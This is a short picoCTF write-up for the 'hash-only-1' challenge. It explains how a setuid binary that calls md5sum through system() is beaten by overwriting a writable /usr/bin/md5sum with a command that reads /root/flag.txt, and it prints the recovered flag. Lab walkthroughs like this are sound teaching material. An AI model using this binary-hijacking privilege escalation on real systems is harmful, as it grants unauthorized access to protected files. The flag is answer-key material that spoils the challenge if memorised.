hash-only-1
Description
Here is a binary that has enough privilege to read the content of the flag file but will only let you know its hash. If only it could just give you the actual content!
Initial analysis
Using strings, we can see some key things about the binary:
- The binary uses
setuidandsetgidto elevate privileges - The binary uses
systemto call the hashing function - The binary hashes using
md5sum
We can then determine that md5sum is /usr/bin/md5sum, which we have write permissions to for some reason.
Exploit
We can then run the following to replace the md5sum binary with our own shell script:
1
echo "cat /root/flag.txt" > /usr/bin/md5sum
Flag
Finally, we can run flaghasher:
1
2
3
Computing the MD5 hash of /root/flag.txt....
picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_54094e3e}
This post is licensed under CC BY 4.0 by the author.